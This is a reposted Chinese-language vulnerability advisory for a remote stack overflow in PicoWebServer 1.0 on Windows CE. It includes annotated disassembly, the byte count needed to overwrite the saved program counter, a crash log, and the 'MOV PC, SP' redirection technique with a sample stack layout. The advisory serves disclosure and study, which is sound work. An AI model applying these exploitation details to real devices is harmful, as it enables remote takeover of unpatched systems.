| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
PicoWebServer超长Unicode URL远程栈溢出漏洞
PicoWebServer超长Unicode URL远程栈溢出漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 10:59:08
受影响系统: 
Newmad Technologies PicoWebServer 1.0
描述: 
--------------------------------------------------------------------------------
BUGTRAQ  ID: 13807

PicoWebServer是运行Windows CE操作系统的PocketPC使用的免费Web Server。

PicoWebServer在处理超长的URL时存在漏洞,远程攻击者可以导致Web Server崩溃。

如果攻击者能够提供足够大的URL的话,就可以触发这个溢出,导致应用程序崩溃。成功的攻击允许远程攻击者完全控制设备。

<*来源:Dennis Elser (dennis@backtrace.de)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111746551802380&w=2
*>

测试方法: 
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

攻击者可以提供超长的HTTP GET请求控制程序计数器(PC)。

1. 检查“0D 0A 0D 0A”字节序列的循环限制攻击者所能提供的最多字节数。

get_more_data_from_attacker:
    ;snip

    .text:00015664 SUB     R3, R8, R6                      ; R3 = 0x400 
= 1024
    .text:00015668 SUBS    R7, R3, #1                      ; R7 = 1023
    .text:0001566C MOVMI   R7, R11
    .text:00015670 MOV     R2, R7                          ; len = R7 = 
R2 = 1023
    .text:00015674 ADD     R1, R6, R4                      ; buf
    .text:00015678 MOV     R0, R10                         ; s
    .text:0001567C BL      _recv

    ;snip
                                                           ; check for /n/n
    .text:00015704 MOV     R0, R4                          ; char * 
0D,0A,0D,0A
    .text:00015708 MOV     R1, R5                          ; char *
    .text:0001570C BL      strstr
    .text:00015710 MOVS    R3, R0
    .text:00015714 BEQ     get_more_data_from_attacker

如果发现了上文所述的字节序列,缓冲区就会类似于:

    GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[...snip...]/x0D/x0A/x0D/x0A

2. 然后将这个缓冲区转换为unicode,传送到未经检查的swprintf()调用,在这里会发生栈溢出:

    .text:00013738 ADD     R3, R4, #0xC                    ; 
aGetXxxxxxxxxxxxxxxx
                                                           ; snip
    .text:00013774 ADD     R0, SP, #0x820+var_7EC          ; wchar_t 
*destination
    .text:00013778 LDR     R1, =aD_D_D_DDDDDDDS            ; wchar_t 
*format_string
                                                           ; 
[%d.%d.%d.%d - %d/%d/%d@%d:%d:%d] "%s"
                                                           ; snip
    .text:00013798 BL      swprintf

swprintf()调用使用栈变量(var_7EC)存储生成的格式化字符串,最多可容纳0x7EC(2028)个字节。一旦格式化了该字符串并保存到目标缓冲区,结果可能是:

    [127.0.0.1 - 2005/5/12@12:30:11] "GET /"

字符串中包含ip地址,当前时间日期和攻击者提供的GET请求。在这个例子中,攻击者必须提供1974个额外字节才能控制程序计数器。

    大小        |    描述
    ----------------------------
        2028    |    var_7EC的大小
    -     82    |    unicode字符串[127.0.0.1 - 2005/5/12@12:30:11] "GET /"的大小
    +      4    |    R4的大小 (保存在函数prologue)
    +      4    |    R5的大小 (保存在函数prologue)
    +      4    |    R6的大小 (保存在函数prologue)
    +      4    |    R7的大小 (保存在函数prologue)
    +      4    |    R8的大小 (保存在函数prologue)
    +      4    |    R9的大小 (保存在函数prologue)
    +      4    |    PC的大小 (保存在函数prologue)
    ---------------------------
    =   1974         溢出栈所需的用户提供缓冲区的大小

在sub_000136A4函数的函数epilogue,0x000137D0处的指令修改栈指针指向包含有用户提供输入的格式化字符串的0x7D0偏移处。0x000137D4处的指令还原栈的R4、R5、R6、R7、R8、R9和PC。

    .text:000137D0 ADD     SP, SP, R12
    .text:000137D4 LDMFD   SP!, {R4-R9,PC}

R4到R9寄存器和PC被攻击者控制。

    PicoWebServer.exe: The instruction at 0x780078 referenced memory at 0x780078.
    The memory could not be read (0x00780078 -> 00780078)

如果攻击者能够让覆盖的返回地址指向相当于“0D F0 A0 E1”("MOV PC, SP")的字节序列的话,就可以完全控制设备。由于SP是唯一指向攻击者所提供的shellcode的寄存器,因此攻击者的目标就是让PC等于SP。

    栈:

    debug1218:2211E90C 78 00 78 00 DCD 
0x780078                            ; R4
    debug1218:2211E910 78 00 78 00 DCD 
0x780078                            ; R5
    debug1218:2211E914 78 00 78 00 DCD 
0x780078                            ; R6
    debug1218:2211E918 78 00 78 00 DCD 
0x780078                            ; R7
    debug1218:2211E91C 78 00 78 00 DCD 
0x780078                            ; R8
    debug1218:2211E920 78 00 78 00 DCD 
0x780078                            ; R9
    debug1218:2211E924 04 00 07 00 DCD 
addr_MOV_PC_SP                      ; PC
    debug1218:2211E928             ; 
-------------------------------------------------
    debug1218:2211E928 78 00 78 00 RSBEQS  R0, R8, R8,ROR 
R0               ; shellcode
    debug1218:2211E92C 78 00 78 00 RSBEQS  R0, R8, R8,ROR R0
    debug1218:2211E930 78 00 78 00 RSBEQS  R0, R8, R8,ROR R0
    debug1218:2211E934 78 00 78 00 RSBEQS  R0, R8, R8,ROR R0
    debug1218:2211E938 78 00 78 00 RSBEQS  R0, R8, R8,ROR R0

--------------------------------------------------------------------------

建议: 
--------------------------------------------------------------------------------
厂商补丁:

Newmad Technologies
-------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.newmad.se/ 【转自世纪安全网 http://www.21safe.com】
新闻录入:admin    责任编辑:admin 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    微软12日将发布9月更新 
    3Com TFTP超长传输模式字
    KOffice畸形PPT文件处理
    Apple Mac OS X 2006-00
    CoolPlayer多个缓冲区溢
    CA BrightStor ARCserve
    Microsoft Visual Studi
    Microsoft Windows Medi
    Microsoft IE多个代码执
    Microsoft SNMP远程任意

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览